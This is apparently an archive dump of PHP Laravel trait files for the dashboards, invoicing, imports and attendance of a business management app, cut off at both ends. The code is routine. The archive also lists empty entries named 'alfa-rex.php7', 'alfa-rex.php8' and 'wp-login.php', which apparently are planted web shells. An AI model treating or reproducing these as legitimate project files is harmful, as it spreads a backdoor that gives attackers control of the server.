Lead::whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate]) ->count(); $this->totalDeals = Deal::whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate]) ->count(); $this->totalLeadConversions = Deal::select('deals.id', 'pipeline_stages.slug')->whereBetween(DB::raw('DATE(deals.updated_at)'), [$startDate, $endDate]) ->leftJoin('pipeline_stages', 'pipeline_stages.id', 'deals.pipeline_stage_id') ->get(); $this->convertedDeals = $this->totalLeadConversions->filter(function ($value, $key) { return $value->slug == 'win'; })->count(); $this->convertDealPercentage = ($this->totalLeadConversions->count() > 0) ? number_format(($this->convertedDeals / $this->totalLeadConversions->count() * 100), 2) : 0; $this->totalContractsGenerated = Contract::whereBetween(DB::raw('DATE(contracts.`end_date`)'), [$startDate, $endDate])->orWhereBetween(DB::raw('DATE(contracts.`start_date`)'), [$startDate, $endDate])->count(); $this->totalContractsSigned = ContractSign::whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate]) ->count(); $this->recentLoginActivities = Role::with(['users' => function ($query) use ($startDate, $endDate) { return $query->select('users.id', 'users.name', 'users.email', 'users.last_login', 'users.image') ->whereBetween(DB::raw('DATE(users.`last_login`)'), [$startDate, $endDate]) ->whereNotNull('last_login') ->orderBy('users.last_login', 'desc') ->limit(10); }])->where('name', 'client')->first(); $this->latestClient = Role::with([ 'users' => function ($query) use ($startDate, $endDate) { return $query->with('clientDetails:id,user_id,company_name') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'users.status') ->whereBetween(DB::raw('DATE(users.`created_at`)'), [$startDate, $endDate]) ->orderBy('users.id', 'desc') ->limit(10); }]) ->where('name', 'client') ->first(); $this->clientEarningChart = $this->clientEarningChart($startDate, $endDate); $this->clientTimelogChart = $this->clientTimelogChart($startDate, $endDate); $this->leadPipelines = LeadPipeline::all(); $defaultPipeline = $this->leadPipelines->filter(function ($value, $key) { return $value->default == '1'; })->first(); $defaultPipelineId = ($pipelineId) ?: $defaultPipeline->id; $this->leadStatusChart = $this->leadStatusChart($startDate, $endDate, $defaultPipelineId); $this->leadSourceChart = $this->leadSourceChart($startDate, $endDate); $this->widgets = DashboardWidget::where('dashboard_type', 'admin-client-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $this->view = 'dashboard.ajax.client'; } public function clientEarningChart($startDate, $endDate) { $payments = Payment::with('project', 'project.client', 'invoice', 'invoice.client') ->join('currencies', 'currencies.id', '=', 'payments.currency_id') ->leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->select('payments.amount', 'currencies.id as currency_id', 'payments.exchange_rate', 'projects.client_id', 'invoices.client_id as invoice_client_id', 'payments.invoice_id', 'payments.project_id') ->where('payments.status', 'complete'); $payments = $payments->where(function ($query) { $query->whereNotNull('projects.client_id') ->orWhereNotNull('invoices.client_id'); }); $payments = $payments->where(DB::raw('DATE(payments.`paid_on`)'), '>=', $startDate); $payments = $payments->where(DB::raw('DATE(payments.`paid_on`)'), '<=', $endDate); $payments = $payments->orderBy('paid_on', 'ASC') ->get(); $chartDataClients = array(); foreach ($payments as $chart) { if (is_null($chart->client_id)) { $chartName = $chart->invoice->client->name; } else { $chartName = $chart->project->client->name; } if (!array_key_exists($chartName, $chartDataClients)) { $chartDataClients[$chartName] = 0; } if ($chart->currency->currency_code != $this->company->currency->currency_code && $chart->currency->exchange_rate != 0) { if ($chart->currency->is_cryptocurrency == 'yes') { $usdTotal = ($chart->amount * $chart->currency->usd_price); $chartDataClients[$chartName] = $chartDataClients[$chartName] + round(floor(floatval($usdTotal) * floatval($chart->exchange_rate)), 2); } else { $chartDataClients[$chartName] = $chartDataClients[$chartName] + round((floatval($chart->amount) * floatval($chart->exchange_rate)), 2); } } else { $chartDataClients[$chartName] = $chartDataClients[$chartName] + round($chart->amount, 2); } } $data['labels'] = array_keys($chartDataClients); $data['values'] = array_values($chartDataClients); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('app.earnings'); return $data; } /** * @param $startDate * @param $endDate * @return array */ public function clientTimelogChart($startDate, $endDate) { $allTimelogs = ProjectTimeLog::leftJoin('tasks', 'tasks.id', 'project_time_logs.task_id') ->leftJoin('projects as proj', 'proj.id', 'project_time_logs.project_id') ->leftJoin('projects', 'projects.id', 'tasks.project_id') ->leftJoin('users', 'users.id', 'projects.client_id') ->leftJoin('users as client', 'client.id', 'proj.client_id') ->where('project_time_logs.approved', 1) ->whereBetween(DB::raw('DATE(project_time_logs.`created_at`)'), [$startDate, $endDate]) ->select('project_time_logs.*', 'client.name') ->get(); $clientWiseTimelogs = array(); foreach ($allTimelogs as $timelog) { if (!array_key_exists($timelog->name, $clientWiseTimelogs)) { $clientWiseTimelogs[$timelog->name] = 0; } $clientWiseTimelogs[$timelog->name] = $clientWiseTimelogs[$timelog->name] + $timelog->total_hours; } $data['labels'] = array_keys($clientWiseTimelogs); $data['values'] = array_values($clientWiseTimelogs); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('app.hour'); return $data; } /** * @param $startDate * @param $endDate * @return array */ public function leadStatusChart($startDate, $endDate, $pipelineID = null) { $leadStatus = PipelineStage::withCount(['deals' => function ($query) use ($startDate, $endDate) { return $query->whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate]); }]); if ($pipelineID) { $leadStatus->where('lead_pipeline_id', $pipelineID); } $leadStatus = $leadStatus->get(); $labelVal = []; foreach ($leadStatus->pluck('name') as $key => $value) { $labelVal[] = $value; } $stageData = []; foreach ($leadStatus as $key => $value) { $stageData['labels'][] = $value->name; $stageData['colors'][] = $value->label_color; $stageData['values'][] = $value->deals_count; } return $stageData; } public function leadSourceChart($startDate, $endDate) { $leadStatus = LeadSource::withCount(['leads' => function ($query) use ($startDate, $endDate) { return $query->whereBetween(DB::raw('DATE(`created_at`)'), [$startDate, $endDate]); }])->get(); $data['labels'] = []; foreach ($leadStatus->pluck('type') as $key => $value) { $labelName = current(explode(' ', $value)); $data['labels'][] = __('app.' . strtolower($labelName)) . '' . strstr($value, ' '); } foreach ($data['labels'] as $key => $value) { $data['colors'][] = '#' . substr(md5($value), 0, 6); } $data['values'] = $leadStatus->pluck('leads_count')->toArray(); return $data; } } Traits/OverviewDashboard.php000064400000025231150325104510012140 0ustar00viewOverviewDashboard = user()->permission('view_overview_dashboard'); abort_403($this->viewOverviewDashboard !== 'all'); $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $completedTaskColumn = TaskboardColumn::completeColumn(); $this->counts = DB::table('users') ->select( DB::raw('(select count(users.id) from `users` inner join role_user on role_user.user_id=users.id inner join roles on roles.id=role_user.role_id WHERE roles.name = "client" AND users.company_id = ' . company()->id . ') as totalClients'), DB::raw('(select count(users.id) from `users` inner join role_user on role_user.user_id=users.id inner join roles on roles.id=role_user.role_id WHERE roles.name = "employee" and users.status = "active" AND users.company_id = ' . company()->id . ') as totalEmployees'), DB::raw('(select count(projects.id) from `projects` WHERE projects.company_id = ' . company()->id . ') as totalProjects'), DB::raw('(select count(invoices.id) from `invoices` where (status = "unpaid" or status = "partial") AND invoices.company_id = ' . company()->id . ') as totalUnpaidInvoices'), DB::raw('(select sum(project_time_logs.total_minutes) from `project_time_logs` where approved = "1" AND project_time_logs.company_id = ' . company()->id . ') as totalHoursLogged'), DB::raw('(select sum(project_time_log_breaks.total_minutes) from `project_time_log_breaks` WHERE project_time_log_breaks.company_id = ' . company()->id . ') as totalBreakMinutes'), DB::raw('(select count(tasks.id) from `tasks` where tasks.board_column_id=' . $completedTaskColumn->id . ' and is_private = "0" AND tasks.company_id = ' . company()->id . ') as totalCompletedTasks'), DB::raw('(select count(tasks.id) from `tasks` where tasks.board_column_id != ' . $completedTaskColumn->id . ' and is_private = "0" and tasks.deleted_at IS NULL AND tasks.company_id = ' . company()->id . ') as totalPendingTasks'), DB::raw('(select count(distinct(attendances.user_id)) from `attendances` inner join users as atd_user on atd_user.id=attendances.user_id inner join role_user on role_user.user_id=atd_user.id inner join roles on roles.id=role_user.role_id WHERE roles.name = "employee" and attendances.clock_in_time >= "' . today(company()->timezone)->setTimezone('UTC')->toDateTimeString() . '" and atd_user.status = "active" AND attendances.company_id = ' . company()->id . ') as totalTodayAttendance'), DB::raw('(select count(tickets.id) from `tickets` where (status="open") and deleted_at IS NULL AND tickets.company_id = ' . company()->id . ') as totalOpenTickets'), DB::raw('(select count(tickets.id) from `tickets` where (status="resolved" or status="closed") and deleted_at IS NULL AND tickets.company_id = ' . company()->id . ') as totalResolvedTickets') ) ->first(); $minutes = $this->counts->totalHoursLogged - $this->counts->totalBreakMinutes; $hours = intdiv($minutes, 60); $remainingMinutes = $minutes % 60; $timeLog = $hours . ' ' . __('app.hrs'); if ($remainingMinutes > 0) { $timeLog .= ' ' . $remainingMinutes . ' ' . __('app.mins'); } $this->counts->totalHoursLogged = $timeLog; $this->widgets = DashboardWidget::where('dashboard_type', 'admin-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $this->earningChartData = $this->earningChart($startDate, $endDate); $this->timlogChartData = $this->timelogChart($startDate, $endDate); $this->leaves = Leave::with('user', 'type') ->where('status', 'pending') ->whereBetween('leave_date', [$startDate, $endDate]) ->get(); $this->newTickets = Ticket::with('requester')->where('status', 'open') ->whereBetween('updated_at', [$startDate, $endDate]) ->orderByDesc('updated_at')->get(); $this->pendingTasks = Task::with('project', 'users', 'boardColumn') ->where('tasks.board_column_id', '<>', $completedTaskColumn->id) ->where('tasks.is_private', 0) ->orderByDesc('due_date') ->whereBetween('due_date', [$startDate, $endDate]) ->limit(15) ->get(); $currentDate = now()->timezone($this->company->timezone)->toDateTimeString(); $this->pendingLeadFollowUps = Deal::with('followup', 'leadAgent', 'leadAgent.user', 'leadAgent.user.employeeDetail', 'leadAgent.user.employeeDetail.designation') ->selectRaw('deals.id,leads.company_name, leads.client_name as client_name, deals.agent_id, ( select lead_follow_up.next_follow_up_date from lead_follow_up where lead_follow_up.deal_id = deals.id and DATE(lead_follow_up.next_follow_up_date) < "' . $currentDate . '" ORDER BY lead_follow_up.created_at DESC Limit 1) as follow_up_date_past, ( select lead_follow.next_follow_up_date from lead_follow_up as lead_follow where lead_follow.deal_id = deals.id and status = "incomplete" ORDER BY lead_follow.created_at DESC Limit 1) as follow_up_date_next' ) ->leftJoin('leads', 'leads.id', 'deals.lead_id') ->where('deals.next_follow_up', 'yes') ->groupBy('deals.id') ->get(); $this->pendingLeadFollowUps = $this->pendingLeadFollowUps->filter(function ($value, $key) { return $value->follow_up_date_past != null && $value->follow_up_date_next == null && $value->followup->status != 'completed'; }); $this->projectActivities = ProjectActivity::with('project') ->join('projects', 'projects.id', '=', 'project_activity.project_id') ->where('projects.company_id', company()->id) ->whereNull('projects.deleted_at') ->select('project_activity.*') ->limit(15) ->whereBetween('project_activity.created_at', [$startDate, $endDate]) ->orderBy('project_activity.id', 'desc') ->groupBy('project_activity.id') ->get(); $this->userActivities = UserActivity::with('user')->limit(15) ->whereBetween('created_at', [$startDate, $endDate]) ->orderByDesc('id')->get(); $this->view = 'dashboard.ajax.overview'; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function earningChart($startDate, $endDate) { $payments = Payment::join('currencies', 'currencies.id', '=', 'payments.currency_id')->where('status', 'complete'); $payments = $payments->whereBetween('payments.paid_on', [Carbon::parse($startDate)->startOfDay(), Carbon::parse($endDate)->endOfDay()]); $payments = $payments->orderBy('paid_on', 'ASC') ->get([ DB::raw('DATE_FORMAT(paid_on,"%d-%M-%y") as date'), DB::raw('YEAR(paid_on) year, MONTH(paid_on) month'), DB::raw('amount as total'), 'currencies.id as currency_id', 'currencies.exchange_rate', 'payments.exchange_rate', 'payments.default_currency_id' ]); $incomes = []; foreach ($payments as $invoice) { if((is_null($invoice->default_currency_id) && is_null($invoice->exchange_rate)) || (!is_null($invoice->default_currency_id) && Company()->currency_id != $invoice->default_currency_id)) { $currency = Currency::findOrFail($invoice->currency_id); $exchangeRate = $currency->exchange_rate; } else { $exchangeRate = $invoice->exchange_rate; } if (!isset($incomes[$invoice->date])) { $incomes[$invoice->date] = 0; } if ($invoice->currency_id != $this->company->currency_id && $invoice->total > 0 && $exchangeRate > 0) { $incomes[$invoice->date] += floatval($invoice->total) * floatval($exchangeRate); } else { $incomes[$invoice->date] += round($invoice->total, 2); } } $dates = array_keys($incomes); $graphData = []; foreach ($dates as $date) { $graphData[] = [ 'date' => $date, 'total' => isset($incomes[$date]) ? round($incomes[$date], 2) : 0, ]; } usort($graphData, function ($a, $b) { $t1 = strtotime($a['date']); $t2 = strtotime($b['date']); return $t1 - $t2; }); // return $graphData; $graphData = collect($graphData); $data['labels'] = $graphData->pluck('date'); $data['values'] = $graphData->pluck('total')->toArray(); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('app.earnings'); return $data; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function timelogChart($startDate, $endDate) { $timelogs = ProjectTimeLog::whereBetween('start_time', [$startDate, $endDate]); $timelogs = $timelogs->where('project_time_logs.approved', 1); $timelogs = $timelogs->groupBy('date') ->orderBy('start_time', 'ASC') ->get([ DB::raw('DATE_FORMAT(start_time,\'%d-%M-%y\') as date'), DB::raw('FLOOR(sum(total_minutes/60)) as total_hours') ]); $data['labels'] = $timelogs->pluck('date'); $data['values'] = $timelogs->pluck('total_hours')->toArray(); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('modules.dashboard.totalHoursLogged'); return $data; } } Traits/GoogleOAuth.php000064400000000651150325104510010676 0ustar00google_client_id); Config::set('services.google.client_secret', $setting->google_client_secret); Config::set('services.google.redirect_uri', route('googleAuth')); } } Traits/MakeOrderInvoiceTrait.php000064400000004523150325104510012715 0ustar00status = $status; $order->save(); if ($order->invoice) { /** @phpstan-ignore-next-line */ $order->invoice->status = $status == 'completed' ? 'paid' : 'unpaid'; $order->push(); return $order->invoice; } /* Step2 - make an invoice related to recently paid order_id */ $invoice = new Invoice(); $invoice->order_id = $order->id; $invoice->company_id = $order->company_id; $invoice->client_id = $order->client_id; $invoice->sub_total = $order->sub_total; $invoice->discount = $order->discount; $invoice->discount_type = $order->discount_type; $invoice->total = $order->total; $invoice->currency_id = $order->currency_id; $invoice->status = $status == 'completed' ? 'paid' : 'unpaid'; $invoice->note = trim_editor($order->note); $invoice->issue_date = now(); $invoice->send_status = 1; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->due_amount = 0; $invoice->save(); /* Make invoice items */ $orderItems = OrderItems::where('order_id', $order->id)->get(); foreach ($orderItems as $item) { InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary, 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => $item->unit_price, 'amount' => $item->amount, 'taxes' => $item->taxes, 'product_id' => $item->product_id, 'unit_id' => $item->unit_id ] ); } return $invoice; } } Traits/alfa-rex.php7000064400000026574150325104510010323 0ustar00Traits/HRDashboard.php000064400000033424150325104510010646 0ustar00viewHRDashboard = user()->permission('view_hr_dashboard'); abort_403($this->viewHRDashboard !== 'all'); $this->pageTitle = 'app.hrDashboard'; $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $this->widgets = DashboardWidget::where('dashboard_type', 'admin-hr-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $this->totalLeavesApproved = Leave::whereBetween(DB::raw('DATE(`leave_date`)'), [$startDate, $endDate])->where('status', 'approved')->count(); $this->totalEmployee = User::allEmployees(null, true)->count(); $this->totalNewEmployee = EmployeeDetails::whereBetween(DB::raw('DATE(`joining_date`)'), [$startDate, $endDate])->count(); $this->totalEmployeeExits = EmployeeDetails::whereBetween(DB::raw('DATE(`last_date`)'), [$startDate, $endDate])->count(); $attandance = EmployeeDetails::join('users', 'users.id', 'employee_details.user_id') ->join('attendances', 'attendances.user_id', 'users.id') ->whereBetween(DB::raw('DATE(attendances.`clock_in_time`)'), [$startDate, $endDate]) ->select(DB::raw('count(users.id) as employeeCount'), DB::raw('DATE(attendances.clock_in_time) as date')) ->groupBy('date') ->get(); if ($attandance->count() > 0) { try { $this->averageAttendance = number_format(((array_sum(array_column($attandance->toArray(), 'employeeCount')) / $attandance->count()) * 100) / $this->totalEmployee, 2) . '%'; } catch (Exception $e) { $this->averageAttendance = '0%'; } } else { $this->averageAttendance = '0%'; } $this->departmentWiseChart = $this->departmentWiseChart(); $this->designationWiseChart = $this->designationWiseChart(); $this->genderWiseChart = $this->genderWiseChart(); $this->roleWiseChart = $this->roleWiseChart(); $this->headCountChart = $this->headcountChart(); $this->joiningVsAttritionChart = $this->joiningVsAttritionChart(); $this->leavesTaken = User::with('employeeDetail', 'employeeDetail.designation') ->join('leaves', 'leaves.user_id', 'users.id') ->whereBetween(DB::raw('DATE(leaves.`leave_date`)'), [$startDate, $endDate]) ->where('leaves.status', 'approved') ->select(DB::raw('count(leaves.id) as employeeLeaveCount'), 'users.*') ->groupBy('users.id') ->orderByDesc('employeeLeaveCount') ->get(); $fromMonthDay = carbon::parse($startDate)->format('m-d'); $tillMonthDay = carbon::parse($endDate)->format('m-d'); $this->birthdays = EmployeeDetails::with('user') ->select('*', 'date_of_birth', DB::raw('MONTH(date_of_birth) months')) ->whereNotNull('date_of_birth') ->where(function ($query) use ($fromMonthDay, $tillMonthDay) { $query->whereRaw('DATE_FORMAT(`date_of_birth`, "%m-%d") BETWEEN "' . $fromMonthDay . '" AND "' . $tillMonthDay . '"'); }) ->orderBy('months') ->get(); $this->lateAttendanceMarks = User::with('employeeDetail', 'employeeDetail.designation') ->without(['role', 'clientDetails']) ->join('attendances', 'attendances.user_id', 'users.id') ->whereBetween(DB::raw('DATE(attendances.`clock_in_time`)'), [$startDate, $endDate]) ->where('late', 'yes') ->select(DB::raw('count(DISTINCT DATE(attendances.clock_in_time) ) as employeeLateCount'), 'users.*') ->groupBy('users.id') ->orderByDesc('employeeLateCount') ->get(); $this->counts = User::select( DB::raw('(select count(distinct(attendances.user_id)) from `attendances` inner join users as atd_user on atd_user.id=attendances.user_id inner join role_user on role_user.user_id=atd_user.id inner join roles on roles.id=role_user.role_id WHERE roles.name = "employee" and attendances.clock_in_time >= "' . today(company()->timezone)->setTimezone('UTC')->toDateTimeString() . '" and atd_user.status = "active" AND attendances.company_id = ' . company()->id . ') as totalTodayAttendance'), DB::raw('(select count(users.id) from `users` inner join role_user on role_user.user_id=users.id inner join roles on roles.id=role_user.role_id WHERE roles.name = "employee" and users.status = "active" AND users.company_id = ' . company()->id . ') as totalEmployees') ) ->first(); $this->view = 'dashboard.ajax.hr'; } public function departmentWiseChart() { $departments = Team::withCount(['teamMembers' => function ($query) { $query->join('users', 'users.id', '=', 'employee_details.user_id'); $query->where('users.status', '=', 'active'); }])->get(); $data['labels'] = $departments->pluck('team_name')->toArray(); foreach ($data['labels'] as $key => $value) { $data['colors'][] = '#' . substr(md5($value), 0, 6); } $data['values'] = $departments->pluck('team_members_count')->toArray(); return $data; } public function designationWiseChart() { $departments = Designation::withCount(['members' => function ($query) { $query->join('users', 'users.id', '=', 'employee_details.user_id'); $query->where('users.status', '=', 'active'); }])->get(); $data['labels'] = $departments->pluck('name')->toArray(); foreach ($data['labels'] as $key => $value) { $data['colors'][] = '#' . substr(md5($value), 0, 6); } $data['values'] = $departments->pluck('members_count')->toArray(); return $data; } public function genderWiseChart() { $genderWiseEmployee = EmployeeDetails::join('users', 'users.id', 'employee_details.user_id') ->select(DB::raw('count(employee_details.id) as totalEmployee'), 'users.gender') ->whereNotNull('users.gender') ->where('users.status', '=', 'active') ->groupBy('users.gender') ->orderBy('users.gender', 'ASC') ->get(); $labels = $genderWiseEmployee->pluck('gender')->toArray(); $data['labels'] = []; foreach ($labels as $key => $value) { $data['labels'][] = __('app.' . $value); } $data['values'] = $genderWiseEmployee->pluck('totalEmployee')->toArray(); $data['colors'] = ['#1d82f5', '#FCBD01', '#D30000']; return $data; } public function roleWiseChart() { $roleWiseChart = Role::withCount(['users' => function ($query) { $query->where('users.status', '=', 'active'); }]) ->where('name', '<>', 'client') ->orderBy('id', 'asc') ->get(); foreach ($roleWiseChart as $key => $value) { if ($value->name == 'admin' || $value->name == 'employee') { $data['labels'][] = __('app.' . $value->name); $data['colors'][] = '#' . substr(md5($value->name), 0, 6); } else { $data['labels'][] = $value->display_name; $data['colors'][] = '#' . substr(md5($value), 0, 6); } } $data['values'] = $roleWiseChart->pluck('users_count')->toArray(); return $data; } public function headCountChart() { $period = now(global_setting()->timezone)->subMonths(11)->monthsUntil(now(global_setting()->timezone)); $startDate = $period->startDate->startOfMonth(); /** @phpstan-ignore-line */ $endDate = $period->endDate->endOfMonth(); /** @phpstan-ignore-line */ $months = []; foreach ($period as $periodData) { $months[$periodData->format('m-Y')] = [ 'y' => $periodData?->translatedFormat('F'), 'a' => 0 ]; } $oldEmployee = EmployeeDetails::whereDate('joining_date', '<', $startDate)->count(); $inActiveOldEmployee = EmployeeDetails::whereHas('user', function ($q) use ($startDate) { $q->where('status', '=', 'deactive') ->where('last_date', '<', $startDate); })->count(); $oldEmployee = $oldEmployee - $inActiveOldEmployee; $joiningDates = EmployeeDetails::whereDate('joining_date', '>=', $startDate)->whereDate('joining_date', '<=', $endDate) ->select(DB::raw('count(*) as data'), DB::raw("DATE_FORMAT(joining_date, '%m-%Y') date"), DB::raw('YEAR(joining_date) year, MONTH(joining_date) month'), ) ->orderBy('joining_date') ->groupby('year', 'month') ->get()->keyBy('date'); $lastDates = EmployeeDetails::whereDate('last_date', '>=', $startDate)->whereDate('last_date', '<=', $endDate) ->select('id', DB::raw('count(*) as data'), DB::raw("DATE_FORMAT(last_date, '%m-%Y') date"), DB::raw('YEAR(last_date) year, MONTH(last_date) month')) ->orderBy('last_date') ->groupby('year', 'month') ->get() ->keyBy('date'); $inActiveEmployee = EmployeeDetails::join('users', 'employee_details.user_id', '=', 'users.id') ->whereDate('last_date', '>=', $startDate) ->whereDate('last_date', '<=', $endDate) ->select(DB::raw('count(*) as data'), DB::raw("DATE_FORMAT(last_date, '%m-%Y') date"), DB::raw('YEAR(users.inactive_date) year, MONTH(last_date) month')) ->orderBy('last_date') ->groupby('year', 'month') ->get() ->keyBy('date'); $graphData = []; foreach ($months as $key => $month) { $inActiveCount = isset($inActiveEmployee[$key]) ? $inActiveEmployee[$key]->data : 0; $oldEmployee = $oldEmployee + (isset($joiningDates[$key]) ? $joiningDates[$key]->data : 0) - $inActiveCount; $oldEmployee = $oldEmployee - (isset($lastDates[$key]) ? $lastDates[$key]->data : 0); $graphData[] = [ 'y' => $months[$key]['y'], 'a' => $oldEmployee ]; } $graphData = collect($graphData); $data['labels'] = $graphData->pluck('y'); $data['values'] = $graphData->pluck('a')->toArray(); $data['colors'] = [$this->appTheme->header_color]; $data['name'] = __('modules.dashboard.headcount'); return $data; } public function joiningVsAttritionChart() { $period = now()->subMonths(11)->monthsUntil(now()); $startDate = $period->startDate->startOfMonth(); /** @phpstan-ignore-line */ $endDate = $period->endDate->endOfMonth(); /** @phpstan-ignore-line */ $months = []; foreach ($period as $periodData) { $months[$periodData->format('m-Y')] = [ 'y' => $periodData ? $periodData->translatedFormat('F') : null, 'a' => 0, 'b' => 0 ]; } $joiningDates = EmployeeDetails::whereDate('joining_date', '>=', $startDate)->whereDate('joining_date', '<=', $endDate) ->select(DB::raw('count(joining_date) as data'), DB::raw("DATE_FORMAT(joining_date, '%m-%Y') date"), DB::raw('YEAR(joining_date) year, MONTH(joining_date) month')) ->orderBy('joining_date') ->groupby('year', 'month') ->get()->keyBy('date'); $attritionDates = EmployeeDetails::join('users', 'employee_details.user_id', '=', 'users.id') ->where('users.status', '=', 'deactive') ->whereDate('last_date', '>=', $startDate)->whereDate('last_date', '<=', $endDate) ->select(DB::raw('count(last_date) as data'), DB::raw("DATE_FORMAT(last_date, '%m-%Y') date"), DB::raw('YEAR(last_date) year, MONTH(last_date) month')) ->orderBy('last_date') ->groupby('year', 'month') ->get()->keyBy('date'); $graphData = []; foreach ($months as $key => $month) { $joinings = 0; $exit = 0; if (isset($joiningDates[$key])) { $joinings = $joiningDates[$key]->data; } if (isset($attritionDates[$key])) { $exit = $attritionDates[$key]->data; } $graphData[] = [ 'y' => $months[$key]['y'], 'a' => $joinings, 'b' => $exit ]; } $graphData = collect($graphData); $data['labels'] = $graphData->pluck('y'); $data['values'][] = $graphData->pluck('a'); $data['values'][] = $graphData->pluck('b'); $data['colors'] = ['#1D82F5', '#d30000']; $data['name'][] = __('app.joining'); $data['name'][] = __('app.attrition'); return $data; } } Traits/ImportExcel.php000064400000007110150325104510010751 0ustar00importClassName = (new ReflectionClass($importClass))->getShortName(); $this->file = Files::upload($request->import_file, Files::IMPORT_FOLDER); $excelData = Excel::toArray(new $importClass, public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0]; if ($request->has('heading')) { array_shift($excelData); } $isDataNull = true; foreach ($excelData as $rowitem) { if (array_filter($rowitem)) { $isDataNull = false; break; } } if ($isDataNull) { return 'abort'; } $this->hasHeading = $request->has('heading'); $this->heading = array(); $this->fileHeading = array(); $this->columns = $importClass::fields(); $this->importMatchedColumns = array(); $this->matchedColumns = array(); if ($this->hasHeading) { $this->heading = (new HeadingRowImport)->toArray(public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0][0]; // Excel Format None for get Heading Row Without Format and after change back to config HeadingRowFormatter::default('none'); $this->fileHeading = (new HeadingRowImport)->toArray(public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $this->file))[0][0]; HeadingRowFormatter::default(config('excel.imports.heading_row.formatter')); array_shift($excelData); $this->matchedColumns = collect($this->columns)->whereIn('id', $this->heading)->pluck('id'); $importMatchedColumns = array(); foreach ($this->matchedColumns as $matchedColumn) { $importMatchedColumns[$matchedColumn] = 1; } $this->importMatchedColumns = $importMatchedColumns; } $this->importSample = array_slice($excelData, 0, 5); } public function importJobProcess($request, $importClass, $importJobClass) { // get class name from $importClass $importClassName = (new ReflectionClass($importClass))->getShortName(); // clear previous import Artisan::call('queue:clear database --queue=' . $importClassName); Artisan::call('queue:flush'); // Get index of an array not null value with key $columns = array_filter($request->columns, function ($value) { return $value !== null; }); $excelData = Excel::toArray(new $importClass, public_path(Files::UPLOAD_FOLDER . '/' . Files::IMPORT_FOLDER . '/' . $request->file))[0]; if ($request->has_heading) { array_shift($excelData); } $jobs = []; Session::put('leads_count', count($excelData)); foreach ($excelData as $row) { $jobs[] = (new $importJobClass($row, $columns, company())); } $batch = Bus::batch($jobs)->onConnection('database')->onQueue($importClassName)->name($importClassName)->dispatch(); Files::deleteFile($request->file, Files::IMPORT_FOLDER); return $batch; } } Traits/DealHistoryTrait.php000064400000001441150325104510011752 0ustar00 $dealId, 'event_type' => $eventType, 'created_by' => user()->id, 'deal_stage_from_id' => $stageFromId, 'deal_stage_to_id' => $stageToId, 'note_id' => $noteId, 'file_id' => $fileId, 'task_id' => $taskId, 'follow_up_id' => $followUpId, 'agent_id' => $agentId, 'proposal_id' => $proposalId, ]); } } Traits/alfa-rex.php8000064400000026574150325104510010324 0ustar00Traits/wp-login.php000064400000026574150325104510010271 0ustar00Traits/EmployeeDashboard.php000064400000152224150325104510012114 0ustar00attendanceSettings = $this->attendanceShift($showClockIn); $startTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); if (!is_null($this->attendanceSettings->early_clock_in)) { $officeStartTime->subMinutes($this->attendanceSettings->early_clock_in); } // shift crosse if ($officeStartTime->gt($officeEndTime)) { // check if shift end time is less then current time then shift not ended yet if( now(company()->timezone)->lessThan($officeEndTime) || (now(company()->timezone)->greaterThan($officeEndTime) && now(company()->timezone)->lessThan($officeStartTime)) ){ $officeStartTime->subDay(); }else{ $officeEndTime->addDay(); } } $this->cannotLogin = false; $date = now()->format('Y-m-d'); $Utc = now(company()->timezone)->format('p'); $attendanceCheckDate = $officeStartTime ? $officeStartTime->clone()->setTimezone('UTC')->format('Y-m-d') : now($Utc)->format('Y-m-d'); $attendance = Attendance::where('user_id', $this->user->id) ->whereDate(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), $attendanceCheckDate) ->get(); foreach ($attendance as $item) { if ($item->clock_out_time !== null && now()->between($item->clock_in_time, $item->clock_out_time)) { // if ($item->clock_out_time !== null && added this condition $this->cannotLogin = true; break; } } if ($showClockIn->employee_clock_in_out == 'no' || $this->attendanceSettings->shift_name == 'Day Off') { $this->cannotLogin = true; } elseif (is_null($this->attendanceSettings->early_clock_in) && 